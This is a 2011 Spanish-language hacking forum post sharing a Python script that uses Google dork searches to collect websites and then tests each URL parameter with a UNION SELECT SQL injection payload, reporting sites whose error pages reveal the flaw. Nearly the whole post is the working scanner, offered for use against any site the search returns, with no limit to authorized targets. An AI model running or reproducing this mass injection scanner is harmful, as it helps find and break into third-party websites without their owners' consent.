elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Python] Google Inyector By dODDY h
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Python] Google Inyector By dODDY h  (Leído 1,730 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Python] Google Inyector By dODDY h
« en: 7 Octubre 2011, 01:36 am »

Bueno , acabo de hacer un scanner de sqli.

Este busca en google paginas con un dork marcado por ustedes
, para despues borrar repetidos y scanear las webs encontradas



Código
  1. #!usr/bin/python
  2. #Google Iny (C) Doddy Hackman 2011
  3.  
  4.  
  5. import urllib2,re,os,sys
  6.  
  7.  
  8. def head():
  9. print "\n\n -- == Google Iny == --\n"
  10.  
  11. def copyright():
  12. print "\n(C) Doddy Hackman 2011\n"
  13. sys.exit(1)
  14.  
  15.  
  16. def toma(web) :
  17. nave = urllib2.Request(web)
  18. nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
  19. op = urllib2.build_opener()
  20. return op.open(nave).read()
  21.  
  22.  
  23. def show():
  24. print "\n[+] Sintax : ",sys.argv[0]," <dork> <count>\n"
  25.  
  26. def limpiar(pag):
  27.  
  28. limpia = []
  29. for p in pag:
  30.  if not (re.findall("http://www.google.com.ar",p,re.I)):
  31.   if p not in limpia:
  32.    limpia.append(p)
  33. return limpia
  34.  
  35.  
  36. def sql(webs):
  37. for web in webs :
  38.  if re.findall("=",web):
  39.   web = re.split("=",web)
  40.   web = web[0]+"="
  41.   try:
  42.    code = toma(web+"-1+union+select+1--")
  43.    if (re.findall("The used SELECT statements have a different number of columns",code,re.I)):
  44.     print "[SQLI] : ",web,"\n"
  45.   except:
  46.    pass
  47.  
  48. def scan(dork,count):
  49. pag = []
  50. s = 10  
  51. while s <= int(count):
  52.  try:
  53.   code = toma("http://www.google.com.ar/search?hl=&q="+str(dork)+"&start="+repr(s))
  54.   d = re.findall("(?<=\"r\"><. href=\")[^\"]+",code)
  55.   s += 10
  56.   for a in d:
  57.    pag.append(a)
  58.  except:
  59.   copyright()
  60. pag = limpiar(pag)
  61.  
  62. return pag
  63.  
  64. head()
  65.  
  66. if len(sys.argv) != 3:
  67. show()
  68. else :
  69. print "\n[+] SQL Scan Started\n"
  70. print "[+] Dork : ",sys.argv[1]
  71. print "[+] Count : ",sys.argv[2]
  72. pages = scan(sys.argv[1],sys.argv[2])
  73. print "\n[+] Webs Found : ",len(pages),"\n"
  74. sql(pages)
  75.  
  76. copyright()
  77.  


« Última modificación: 8 Octubre 2011, 19:05 pm por Doddy » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Python] Console By Doddy H
Scripting
BigBear 0 1,469 Último mensaje 7 Octubre 2011, 01:32 am
por BigBear
[Python] Easy Inyector By Doddy H
Scripting
BigBear 1 2,219 Último mensaje 28 Agosto 2012, 03:39 am
por HIRONAKAMURA
[Python] Finder Admin By Doddy H
Scripting
BigBear 0 2,406 Último mensaje 7 Octubre 2011, 01:33 am
por BigBear
[Python] Fuzz DNS By Doddy H
Scripting
BigBear 0 1,408 Último mensaje 7 Octubre 2011, 01:34 am
por BigBear
[Python] HTTP Console By Doddy H
Scripting
BigBear 0 1,498 Último mensaje 7 Octubre 2011, 01:37 am
por BigBear
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines